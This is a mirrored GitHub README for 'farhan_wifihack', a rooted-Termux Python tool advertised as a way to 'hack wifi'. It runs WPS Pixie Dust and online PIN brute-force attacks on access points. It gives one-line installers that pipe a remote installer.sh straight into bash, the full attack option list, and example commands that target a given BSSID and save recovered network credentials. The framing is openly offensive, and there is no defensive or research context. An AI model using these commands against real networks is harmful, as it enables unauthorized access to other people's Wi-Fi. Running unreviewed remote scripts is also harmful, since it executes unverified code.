Coder Social home page Coder Social logo

gtajisan / farhan_wifihack Goto Github PK

View Code? Open in Web Editor NEW
32.0 2.0 5.0 747 KB

Hack wifi using termux (rooted).

Home Page: https://gtajisan.github.io/farhan_wifihack/

License: MIT License

Shell 0.03% Python 99.97%
hack-wifi-using-termux wifi-hack wifi-hacking pixie-dust pixiewps wifi-hacking-script wifi-security wps-cracker

farhan_wifihack's Introduction

farhan_wifihack

Logo

im farhan❔

Typing SVG

wifi-hack

Python 3.5 python OS

Hack wifi using Termux (rooted)

How to update WifiHack

To check for updates and update, run the following command:

(cd farhan_wifihack && git pull)

farhan_wifihack_Termux_installer/LINK

 https://github.com/Gtajisan/farhan_wifihack_Installer

Overview

farhan_wifihack performs Pixie Dust attack without having to switch to monitor mode.

Features

Requirements

all source

Please note that root access is required.

Installation one line:

run with one line

apt update && apt upgrade && pkg install tsu && pkg install python && pkg install git && pkg install -y root-repo && pkg install -y git tsu python wpa-supplicant pixiewps iw openssl && termux-setup-storage && curl -sSf https://raw.githubusercontent.com/gtajisan/farhan_wifihack_Termux_installer/master/installer.sh | bash && git clone --depth 1 https://github.com/gtajisan/farhan_wifihack farhan_wifihack && sudo python farhan_wifihack/farhan_wifihack.py -i wlan0 --iface-down -K

Please note that root access is required.

Hack WIfi Using Termux! (Requires Root)

Using installer

for one time setup

curl -sSf https://raw.githubusercontent.com/gtajisan/farhan_wifihack_Termux_installer/master/installer.sh | bash

Manually

Installing requirements

pkg update
pkg upgrade
pkg install tsu
pkg install python
pkg install git
pkg install -y root-repo
pkg install -y git tsu python wpa-supplicant pixiewps iw openssl
termux-setup-storage

Getting farhan_wifihack

run farhan hack py

git clone --depth 1 https://github.com/gtajisan/farhan_wifihack farhan_wifihack
cd farhan_wifihack && sudo python farhan_wifihack.py -i wlan0 -K

Running

sudo python farhan_wifihack/farhan_wifihack.py -i wlan0 -K
sudo python farhan_wifihack/FARHAN-Shot.py -i wlan0 -K

Usage

 farhan_wifihack.py <arguments>
 Required arguments:
     -i, --interface=<wlan0>  : Name of the interface to use

 Optional arguments:
     -b, --bssid=<mac>        : BSSID of the target AP
     -p, --pin=<wps pin>      : Use the specified pin (arbitrary string or 4/8 digit pin)
     -K, --pixie-dust         : Run Pixie Dust attack
     -B, --bruteforce         : Run online bruteforce attack
     --push-button-connect    : Run WPS push button connection

 Advanced arguments:
     -d, --delay=<n>          : Set the delay between pin attempts [0]
     -w, --write              : Write AP credentials to the file on success
     -F, --pixie-force        : Run Pixiewps with --force option (bruteforce full range)
     -X, --show-pixie-cmd     : Alway print Pixiewps command
     --vuln-list=<filename>   : Use custom file with vulnerable devices list ['vulnwsc.txt']
     --iface-down             : Down network interface when the work is finished
     -l, --loop               : Run in a loop
     -r, --reverse-scan       : Reverse order of networks in the list of networks. Useful on small displays
     --mtk-wifi               : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
                                (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this.
     -v, --verbose            : Verbose output

Usage examples

Start Pixie Dust attack on a specified BSSID:

cd farhan_wifihack && sudo python3 farhan_wifihack.py -i wlan0 -b 00:90:4C:C1:AC:21 -K

Show avaliable networks and start Pixie Dust attack on a specified network:

cd farhan_wifihack &&  sudo python3 farhan_wifihack.py -i wlan0 -K

Launch online WPS bruteforce with the specified first half of the PIN:

cd farhan_wifihack &&  sudo python3 farhan_wifihack.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -p 1234

Start WPS push button connection:s

cd farhan_wifihack &&  sudo python3 farhan_wifihack.py -i wlan0 --pbc

Troubleshooting

"RTNETLINK answers: Operation not possible due to RF-kill"

Just run: sudo rfkill unblock wifi

"Device or resource busy (-16)"

Try disabling Wi-Fi in the system settings and kill the Network manager. Alternatively, you can try running farhan_wifihackwith --iface-down argument.

The wlan0 interface disappears when Wi-Fi is disabled on Android devices with MediaTek SoC

Try running farhan_wifihackwith the --mtk-wifi flag to initialize Wi-Fi device driver.

Acknowledgements

Special Thanks

  • rofl0r for initial implementation;
  • Monohrom for testing, help in catching bugs, some ideas;
  • Wiire for developing Pixiewps.
  • binod-xd for inspire.
  • support on oneshot.

farhan_wifihack's People

Contributors

gtajisan avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.